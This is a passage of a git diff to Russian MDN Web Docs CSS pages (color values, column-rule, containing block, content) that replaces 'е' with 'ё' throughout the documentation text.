            Использует stroke bounding box в качестве базовой области.
            
   
            view-box
            
-  
            Использует ближайший SVG viewport в качестве базового блока. Если атрибут {{SVGAttr("viewBox")}} определен для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом viewBox и ширина и высота базового блока устанавливаются равными значениям атрибута viewBox.​​​​​​​
            
+  
            Использует ближайший SVG viewport в качестве базового блока. Если атрибут {{SVGAttr("viewBox")}} определён для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом viewBox и ширина и высота базового блока устанавливаются равными значениям атрибута viewBox.​​​​​​​
            
   
            margin-box
            
   
            Использует margin box в качестве базового блока.
            
   
            border-box
            
diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html
index 08edbe380a..9af9b77755 100644
--- a/files/ru/web/css/color_value/index.html
+++ b/files/ru/web/css/color_value/index.html
@@ -10,7 +10,7 @@ translation_of: Web/CSS/color_value
 
            В <color> может быть определена любым из следующих способов can.
            
 
 
              
- 
            • Использование или подключенного свойства веденного в параметр (например, blue или transparent)
              • 
+ 
            • Использование или подключённого свойства ведённого в параметр (например, blue или transparent)
              • 
  
            • Использование кубической системы координат RGB (via the #-hexadecimal or the rgb() and rgba() functional notations)Цветовая модель представлена виде куба
              • 
  
            • Использование цилиндрической системы координат HSL (через функциональные обозначения hsl() и hsla()) 
              • 
 
            
@@ -21,7 +21,7 @@ translation_of: Web/CSS/color_value
 
 
            Синтаксис 
            
 
-
            Для типа данных задается <color>  с помощью одного из следующих параметров.
            
+
            Для типа данных задаётся <color>  с помощью одного из следующих параметров.
            
 
 
            
 
            Заметка: значения <color> точно определены, их фактический внешний вид может отличаться (иногда значительно) от устройства к устройству. Это связано с тем что большинство устройств не откалиброваны, а некоторые браузеры не поддерживают цветовые профили устройств вывода.
            
@@ -29,12 +29,12 @@ translation_of: Web/CSS/color_value
 
 
            Ключевые цвета
            
 
-
            Ключевые слова для цвета - это идентификаторы без учета регистра, представляющие определенный цвет, например red, blue, black или lightseagreen. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. 
            
+
            Ключевые слова для цвета - это идентификаторы без учёта регистра, представляющие определённый цвет, например red, blue, black или lightseagreen. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. 
            
 
 
            Есть несколько предостережений, которые следует учитывать при использовании ключевых слов цвета:
            
 
 
              
- 
            • HTML распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определенный алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и SVG.
              • 
+ 
            • HTML распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определённый алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и SVG.
              • 
  
            • В отличие от HTML, CSS будет полностью игнорировать неизвестные ключевые слова.
              • 
  
            • Ключевые слова цвета все представляют собой простые, сплошные цвета, без прозрачности.
              • 
  
            • Несколько ключевых слов являются псевдонимами друг для друга:
@@ -977,11 +977,11 @@ translation_of: Web/CSS/color_value
 
              Ключевое слово transparent представляет собой полностью прозрачный цвет. Это делает фон позади цветного элемента полностью видимым. Технически transparent - это ярлык для rgba (0,0,0,0).
              
 
 
              
-
              Примечание по совместимости: чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что transparent должен быть вычислен в Альфа-предварительно умноженном цветовом пространстве. Однако имейте в виду, что старые браузеры могут рассматривать его как черный с Альфа-значением 0.
              
+
              Примечание по совместимости: чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что transparent должен быть вычислен в Альфа-предварительно умноженном цветовом пространстве. Однако имейте в виду, что старые браузеры могут рассматривать его как чёрный с Альфа-значением 0.
              
 
              
 
 
              
-
              Историческая запись: transparent не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <color> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, transparent был переопределен как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <color>.
              
+
              Историческая запись: transparent не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <color> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, transparent был переопределён как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <color>.
              
 
              
 
 
              currentColor ключевое слово
              
@@ -1002,7 +1002,7 @@ translation_of: Web/CSS/color_value
 
 
              RGB цвет
              
 
-
              Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелеными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.
              
+
              Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелёными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.
              
 
 
              Синтаксис
              
 
@@ -1014,13 +1014,13 @@ translation_of: Web/CSS/color_value
 
 
              
  
              Шестнадцатеричное представление: #RRGGBB[AA]
              
- 
              R (red), G (green), B (blue), and A (alpha) are hexadecimal characters (0-9, A-F). A is optional. For example, #ff0000 is equivalent to #ff0000ff. R (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, #ff0000 эквивалентно #ff0000ff.
              
+ 
              R (red), G (green), B (blue), and A (alpha) are hexadecimal characters (0-9, A-F). A is optional. For example, #ff0000 is equivalent to #ff0000ff. R (красный), G (зелёный), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, #ff0000 эквивалентно #ff0000ff.
              
  
              Шестнадцатеричное представление: #RGB[A]
              
- 
              R (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трехзначная нотация (#RGB) является более короткой версией шестизначной формы (#RRGGBB). Например, #f09 имеет тот же цвет, что и #ff0099. Кроме того, четырехзначная нотация RGB (#RGB) является более короткой версией восьмизначной формы (#RRGGBBAA). Например, #0f38 имеет тот же цвет, что и #00ff3388.
              
+ 
              R (красный), G (зелёный), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трёхзначная нотация (#RGB) является более короткой версией шестизначной формы (#RRGGBB). Например, #f09 имеет тот же цвет, что и #ff0099. Кроме того, четырёхзначная нотация RGB (#RGB) является более короткой версией восьмизначной формы (#RRGGBBAA). Например, #0f38 имеет тот же цвет, что и #00ff3388.
              
  
              Функциональная нотация: rgb(R, G, B[, A]) или rgba(R, G, B, A)
              
- 
              R (красный), G (зеленый) и B (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число 255 соответствует 100%. А (Альфа) может быть {{cssxref("<number>")}} между 0 и 1 или {{cssxref("<percentage>")}}, где число 1 соответствует 100% (полная непрозрачность).
              
+ 
              R (красный), G (зелёный) и B (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число 255 соответствует 100%. А (Альфа) может быть {{cssxref("<number>")}} между 0 и 1 или {{cssxref("<percentage>")}}, где число 1 соответствует 100% (полная непрозрачность).
              
  
              Функциональная нотация: rgb(R G B[ A]) or rgba(R G B A)
              
- 
              CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.
              
+ 
              CSS Colors Level 4 добавляет поддержку разделённых пробелами значений в функциональной нотации.
              
 
              
 
 
              Пример
              
@@ -1068,20 +1068,20 @@ rgb(1e2, .5e1, .5e0, +.25e2%)
 
              RGB вариации прозрачности
              
 
 
              /* Шестнадцатеричный синтаксис */
-#3a30                    /*   0% непрозрачный зеленый цвет */ 
-#3A3F                    /* полный непрозрачный зеленый цвет */ 
-#33aa3300                /*   0% непрозрачный зеленый цвет */ 
-#33AA3380                /* 50% непрозрачный зеленый цвет */ 
+#3a30                    /*   0% непрозрачный зелёный цвет */ 
+#3A3F                    /* полный непрозрачный зелёный цвет */ 
+#33aa3300                /*   0% непрозрачный зелёный цвет */ 
+#33AA3380                /* 50% непрозрачный зелёный цвет */ 
 
 /* Функциональный синтаксис */
-rgba(51, 170, 51, .1)    /* непрозрачный зеленый цвет на 10%  */ 
-rgba(51, 170, 51, .4)    /* непрозрачный зеленый цвет на */ 
-rgba(51, 170, 51, .7)    /* непрозрачный зеленый цвет на 70% */ 
-rgba(51, 170, 51,  1)    /* полный непрозрачный зеленый цвет  */ 
+rgba(51, 170, 51, .1)    /* непрозрачный зелёный цвет на 10%  */ 
+rgba(51, 170, 51, .4)    /* непрозрачный зелёный цвет на */ 
+rgba(51, 170, 51, .7)    /* непрозрачный зелёный цвет на 70% */ 
+rgba(51, 170, 51,  1)    /* полный непрозрачный зелёный цвет  */ 
 
 /* Синтаксис пробелов */
-rgba(51 170 51 / 0.4)    /* непрозрачный зеленый цвет  на 40%*/ 
-rgba(51 170 51 / 40%)    /* непрозрачный зеленый цвет на 40% */
+rgba(51 170 51 / 0.4)    /* непрозрачный зелёный цвет  на 40%*/ 
+rgba(51 170 51 / 40%)    /* непрозрачный зелёный цвет на 40% */
 
 /* Функциональный синтаксис со значением floats */
 rgba(255, 0, 153.6, 1)
@@ -1092,7 +1092,7 @@ rgba(1e2, .5e1, .5e0, +.25e2%)
 
 
              Цветовая модель HSL определяет заданный цвет в соответствии с его компонентами оттенка, насыщенности и яркости. Дополнительный Альфа-компонент представляет прозрачность цвета.
              
 
-
              Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и легкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).
              
+
              Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и лёгкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).
              
 
 
              Синтаксис
              
 
@@ -1104,14 +1104,14 @@ rgba(1e2, .5e1, .5e0, +.25e2%)
 
 
              
  
              Функциональная нотация: hsl(H, S, L[, A]) илиhsla(H, S, L, A)
              
- 
              H  (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в degS, rads, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=0 deg=360 град, с другими цветами, распространенными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обертывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.
              
- 
              S (насыщенность) и L (легкость) являются процентами. 100% насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). 100% легкость белый, 0% легкость черный, и 50% легкость “нормально.”
              
+ 
              H  (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в degS, rads, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=0 deg=360 град, с другими цветами, распространёнными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обёртывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.
              
+ 
              S (насыщенность) и L (лёгкость) являются процентами. 100% насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). 100% лёгкость белый, 0% лёгкость чёрный, и 50% лёгкость “нормально.”
              
  
              A (alpha) can be a {{cssxref("<number>")}} between 0 and 1, or a {{cssxref("<percentage>")}}, where the number 1 corresponds to 100% (full opacity). A (Альфа) может быть {{cssxref("<number>")}} между 0 и 1 или {{cssxref("<percentage>")}}, где число 1 соответствует 100% (полная непрозрачность).
              
 
              
 
 
              
  
              Функциональная нотация: hsl(H S L[ A]) or hsla(H S L A)
              
- 
              CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.
              
+ 
              CSS Colors Level 4 добавляет поддержку разделённых пробелами значений в функциональной нотации.
              
 
              
 
 
              Examples
              
@@ -1212,7 +1212,7 @@ hsl(270 60% 50% / 15%)
            alternateчетноечётное 0% или from
            alternateнечетноенечётное 100% или to
            alternate-reverseчетноечётное 100% или to
            alternate-reverseнечетноенечётное 0% или from
            {{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}} {{Spec2('CSS3 Backgrounds')}}Сокращенное свойство было расширено для поддержки нескольких фонов и значения local.Сокращённое свойство было расширено для поддержки нескольких фонов и значения local.
            {{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}
            {{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}} {{Spec2('CSS3 Backgrounds')}}Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов space и round, а также для фона на элементе на уровне строки путем точного определения области рисования фона.Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов space и round, а также для фона на элементе на уровне строки путём точного определения области рисования фона.
            {{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}
            -
            Более светлая и более темная зелень
            +
            Более светлая и более тёмная зелень
            @@ -1328,17 +1328,17 @@ hsla(240 100% 50% / 5%)
            Background
            Фон рабочего стола.
            ButtonFace
            -
            Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом ButtonText цвет переднего плана.
            +
            Цвет фона лица для трёхмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом ButtonText цвет переднего плана.
            ButtonHighlight
            -
            Цвет границы, обращенной к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.
            +
            Цвет границы, обращённой к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.
            ButtonShadow
            -
            Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трехмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.
            +
            Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трёхмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.
            ButtonText
            Следует использовать с ButtonFace или ThreeDFace цвет фона.
            CaptionText
            Текст в заголовке, поле размера и поле со стрелкой прокрутки. Следует использовать с цветом фона ActiveCaption.
            GrayText
            -
            Серый (отключен) текст.
            +
            Серый (отключён) текст.
            Highlight
            Элемент(ы), выбранный в элементе управления. Следует использовать с HighlightText текста цветом переднего плана.
            HighlightText
            @@ -1360,15 +1360,15 @@ hsla(240 100% 50% / 5%)
            Scrollbar
            Цвет фона полос прокрутки.
            ThreeDDarkShadow
            -
            Цвет более темной (как правило, внешней) из двух границ от источника света для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
            +
            Цвет более тёмной (как правило, внешней) из двух границ от источника света для трёхмерных элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.
            ThreeDFace
            -
            Should be used with the ButtonText foreground color. Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.
            +
            Should be used with the ButtonText foreground color. Цвет фона лица для трёхмерных элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.
            ThreeDHighlight
            -
            Цвет более светлого (обычно внешнего) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
            +
            Цвет более светлого (обычно внешнего) из двух границ, обращённых к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.
            ThreeDLightShadow
            -
            Цвет более темной (обычно внутренней) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
            +
            Цвет более тёмной (обычно внутренней) из двух границ, обращённых к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.
            ThreeDShadow
            -
            Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
            +
            Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.
            Window
            Фон окна. Следует использовать с WindowText цвет переднего плана.
            WindowFrame
            @@ -1383,9 +1383,9 @@ hsla(240 100% 50% / 5%)
            -moz-ButtonDefault
            Цвет границы вокруг кнопки, которые обозначают действие по умолчанию для диалогового окна.
            -moz-ButtonHoverFace
            -
            Цвет фона кнопки, на которую наведен указатель мыши (который будет Трехлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.
            +
            Цвет фона кнопки, на которую наведён указатель мыши (который будет Трёхлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.
            -moz-ButtonHoverText
            -
            Цвет текста кнопки, на которую наведен указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с--moz-ButtonHoverFace background color.
            +
            Цвет текста кнопки, на которую наведён указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с--moz-ButtonHoverFace background color.
            -moz-CellHighlight
            Цвет фона для выбранного элемента в виджете дерево. Следует использовать с цветом переднего плана -moz-CellHighlightText. См. также-moz-html-CellHighlight.
            -moz-CellHighlightText
            @@ -1400,7 +1400,7 @@ hsla(240 100% 50% / 5%)
            Цвет текста для диалоговых окон. Должен использоваться с цветом фона -moz-Dialog.
            -moz-dragtargetzone
            -moz-EvenTreeRow
            -
            {{gecko_minversion_inline("1.9")}} цвет фона для четных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте-moz-поле. См. также -moz-OddTreeRow.
            +
            {{gecko_minversion_inline("1.9")}} цвет фона для чётных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте-moz-поле. См. также -moz-OddTreeRow.
            -moz-Field
            Text field background color. Should be used with the -moz-FieldText foreground color. Цвет фона текстового поля. Должен использоваться с цветом переднего плана-moz-FieldText.
            -moz-FieldText
            @@ -1435,7 +1435,7 @@ hsla(240 100% 50% / 5%)
            -moz-nativehyperlinktext
            {{Gecko_minversion_inline ("1.9.1")}} цвет гиперссылки платформы по умолчанию.
            -moz-OddTreeRow
            -
            {{gecko_minversion_inline("1.9")}} цвет фона для нечетных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте -moz-Field. Смотрите также -moz-EvenTreeRow.
            +
            {{gecko_minversion_inline("1.9")}} цвет фона для нечётных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте -moz-Field. Смотрите также -moz-EvenTreeRow.
            -moz-win-communicationstext
            {{gecko_minversion_inline ("1.9")}} следует использовать для текста в объектах с {{cssxref ("- moz-appearance")}}:- moz-win-communications-toolbox;.
            -moz-win-mediatext
            @@ -1445,7 +1445,7 @@ hsla(240 100% 50% / 5%) Используется для доступа к пользовательскому цвету акцента Windows 10, который можно установить в меню Пуск, панели задач, заголовках и т. д.
            -moz-win-accentcolortext
            {{gecko_minversion_inline ("56")}}
            - Используется для доступа к цвету текста, размещенного над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.
            + Используется для доступа к цвету текста, размещённого над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.

            Расширения Цветовых Предпочтений Mozilla

            @@ -1460,16 +1460,16 @@ hsla(240 100% 50% / 5%)
            -moz-hyperlinktext
            Предпочтения пользователя для цвета текста непрошеных ссылок. Должен использоваться с цветом фона документа по умолчанию.
            -moz-visitedhyperlinktext
            -
            Предпочтения пользователя для цвета текста посещенных ссылок. Должен использоваться с цветом фона документа по умолчанию.
            +
            Предпочтения пользователя для цвета текста посещённых ссылок. Должен использоваться с цветом фона документа по умолчанию.

            Интерполяция

            -

            В анимации и градиентах значения <color> интерполируются на каждый из их красных, зеленых и синих компонентов. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется функцией времени.

            +

            В анимации и градиентах значения <color> интерполируются на каждый из их красных, зелёных и синих компонентов. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется функцией времени.

            Соображения доступности

            -

            Некоторые люди с трудом различают цвета. Рекомендация WCAG 2.0 настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определенного сообщения, действия или результата. Дополнительную информацию см. В разделе цвет и цветовой контраст.

            +

            Некоторые люди с трудом различают цвета. Рекомендация WCAG 2.0 настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определённого сообщения, действия или результата. Дополнительную информацию см. В разделе цвет и цветовой контраст.

            Технические характеристики

            @@ -1485,7 +1485,7 @@ hsla(240 100% 50% / 5%)             - + @@ -1507,7 +1507,7 @@ hsla(240 100% 50% / 5%)

            Совместимость браузера

            - +

            {{Compat("css.properties.color")}}

            diff --git a/files/ru/web/css/column-count/index.html b/files/ru/web/css/column-count/index.html index b0f17d4069..633d6a186b 100644 --- a/files/ru/web/css/column-count/index.html +++ b/files/ru/web/css/column-count/index.html @@ -3,7 +3,7 @@ title: column-count slug: Web/CSS/column-count tags: - Свойство - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-count ---
            {{CSSRef}}
            diff --git a/files/ru/web/css/column-rule-color/index.html b/files/ru/web/css/column-rule-color/index.html index b0b7cb3ade..3019c7e417 100644 --- a/files/ru/web/css/column-rule-color/index.html +++ b/files/ru/web/css/column-rule-color/index.html @@ -2,7 +2,7 @@ title: column-rule-color slug: Web/CSS/column-rule-color tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule-color ---
            {{CSSRef}}
            diff --git a/files/ru/web/css/column-rule-style/index.html b/files/ru/web/css/column-rule-style/index.html index 70816fe051..a012d070de 100644 --- a/files/ru/web/css/column-rule-style/index.html +++ b/files/ru/web/css/column-rule-style/index.html @@ -2,7 +2,7 @@ title: column-rule-style slug: Web/CSS/column-rule-style tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule-style ---
            {{ CSSRef}}
            diff --git a/files/ru/web/css/column-rule/index.html b/files/ru/web/css/column-rule/index.html index d590860976..d48f043c0d 100644 --- a/files/ru/web/css/column-rule/index.html +++ b/files/ru/web/css/column-rule/index.html @@ -2,7 +2,7 @@ title: column-rule slug: Web/CSS/column-rule tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule ---
            {{CSSRef}}
            @@ -13,7 +13,7 @@ translation_of: Web/CSS/column-rule -

            Эта краткая форма записи задает индивидуальные  column-rule-* свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.

            +

            Эта краткая форма записи задаёт индивидуальные  column-rule-* свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.

            Примечание: Как и с другими краткими формами записи, любые индивидуальные значения, не указанные явно принимают значение по умолчанию (возможно переопределение значений, заданных ранее с помощью свойств, не являющихся краткими формами).

            @@ -32,13 +32,13 @@ column-rule: initial; column-rule: unset; -

            Свойство column-rule указывается в виде одного, двух или трех значений, перечисленных ниже, в любом порядке.

            +

            Свойство column-rule указывается в виде одного, двух или трёх значений, перечисленных ниже, в любом порядке.

            Значения

            <'column-rule-width'>
            -
            {{cssxref("<length>")}} или одно из трех ключевых свойств, thin, medium, или thick. См. подробно -  {{cssxref("border-width")}}.
            +
            {{cssxref("<length>")}} или одно из трёх ключевых свойств, thin, medium, или thick. См. подробно -  {{cssxref("border-width")}}.
            <'column-rule-style'>
            См. подробно {{cssxref("border-style")}} .
            <'column-rule-color'>
            diff --git a/files/ru/web/css/column_combinator/index.html b/files/ru/web/css/column_combinator/index.html index 9fad1a33a2..171d4fd7bc 100644 --- a/files/ru/web/css/column_combinator/index.html +++ b/files/ru/web/css/column_combinator/index.html @@ -2,7 +2,7 @@ title: Комбинатор столбцов slug: Web/CSS/Column_combinator tags: - - Верстка + - Вёрстка - Селекторы translation_of: Web/CSS/Column_combinator --- diff --git a/files/ru/web/css/containing_block/index.html b/files/ru/web/css/containing_block/index.html index fe3fdd2254..644b4d4d54 100644 --- a/files/ru/web/css/containing_block/index.html +++ b/files/ru/web/css/containing_block/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/Containing_block

            На размер и позицию элемента часто влияет его содержащий блок (containing block). Чаще всего содержащим блоком является content область (content area) ближайшего блочного (block-level) предка, но это не всегда так. В этой статье мы рассмотрим факторы, которые определяют содержащий блок элемента.

            -

            Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создает бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:

            +

            Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создаёт бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:

            1. Content область или область контента (content area).
              2. @@ -33,15 +33,15 @@ translation_of: Web/CSS/Containing_block

              Определение содержащего блока элемента полностью зависит от значения свойства {{cssxref("position")}}:

                -
              1. Если свойство position имеет значение  static, relative, или sticky, то содержащий блок задается краем content бокса ближайшего предка, который: +
              2. Если свойство position имеет значение  static, relative, или sticky, то содержащий блок задаётся краем content бокса ближайшего предка, который:
                • либо является блочным контейнером (block container), например, если его свойство display имеет значение inline-block, block или list-item.
                • либо устанавливает контекст форматирования (formatting context), например, контейнер таблицы (table container), flex-контейнер (flex container), grid-контейнер (grid container) или блочный контейнер (block container).
                3. -
              3. Если свойство position имеет значение absolute, то содержащий блок задается краем padding бокса ближайшего предка, у которого свойство position имеет значение отличное от static (fixed, absolute, relative или sticky).
                4. -
              4. Если свойство position имеет значение fixed, то содержащий блок задается: +
              5. Если свойство position имеет значение absolute, то содержащий блок задаётся краем padding бокса ближайшего предка, у которого свойство position имеет значение отличное от static (fixed, absolute, relative или sticky).
                6. +
              6. Если свойство position имеет значение fixed, то содержащий блок задаётся:
                • в случае непрерывного медиа (continuous media) областью просмотра (вьюпорт - {{glossary("viewport")}});
                • в случае страничного медиа (paged media) областью страницы.
                  • diff --git a/files/ru/web/css/content/index.html b/files/ru/web/css/content/index.html index 180c415cef..6d71c72e8e 100644 --- a/files/ru/web/css/content/index.html +++ b/files/ru/web/css/content/index.html @@ -60,18 +60,18 @@ content: unset;
                  {{cssxref("<string>")}}
                  Любое количество текстовых символов. Нелатинские символы должны быть закодированы с использованием их escape-последовательности Unicode: например, \000A9 представляет собой символ авторского права.
                  {{cssxref("<url>")}}
                  -
                  URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображен, он игнорируется или отображается значение по умолчанию.
                  +
                  URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображён, он игнорируется или отображается значение по умолчанию.
                  {{cssxref("<image>")}}
                  {{cssxref("<image>")}}, указанный типом данных {{cssxref("<url>")}} или {{cssxref("<gradient>")}}, или частью веб-страницы, определяемой функцией {{cssxref("element", "element()")}}, указывающей содержимое для обозначения.
                  {{cssxref("<counter>")}}
                  -
                  Значение CSS счетчика, как правило число. Его можно отобразить с помощью функций  {{cssxref("counter()")}} или{{cssxref("counters()")}}.
                  +
                  Значение CSS счётчика, как правило число. Его можно отобразить с помощью функций  {{cssxref("counter()")}} или{{cssxref("counters()")}}.
                  -

                  Функция counter() имеет две формы записи: 'counter(имя)' или 'counter(имя, стиль)'. Сгенерированный текст - это значение самого вложенного счетчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию decimal).

                  +

                  Функция counter() имеет две формы записи: 'counter(имя)' или 'counter(имя, стиль)'. Сгенерированный текст - это значение самого вложенного счётчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию decimal).

                  -

                  Функция counters() также имеет две формы записи: 'counters(name, string)' или 'counters(name, string, style)'. Сгенерированный текст - это значение всех счетчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделенных указанной строкой. Счетчики отображаются в указанном стиле (по умолчанию decimal).

                  +

                  Функция counters() также имеет две формы записи: 'counters(name, string)' или 'counters(name, string, style)'. Сгенерированный текст - это значение всех счётчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделённых указанной строкой. Счётчики отображаются в указанном стиле (по умолчанию decimal).

                  attr(x)
                  -
                  Значение атрибута x элемента в виде строки. Если атрибут x отсутствует, вернется пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.
                  +
                  Значение атрибута x элемента в виде строки. Если атрибут x отсутствует, вернётся пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.
                  open-quote | close-quote
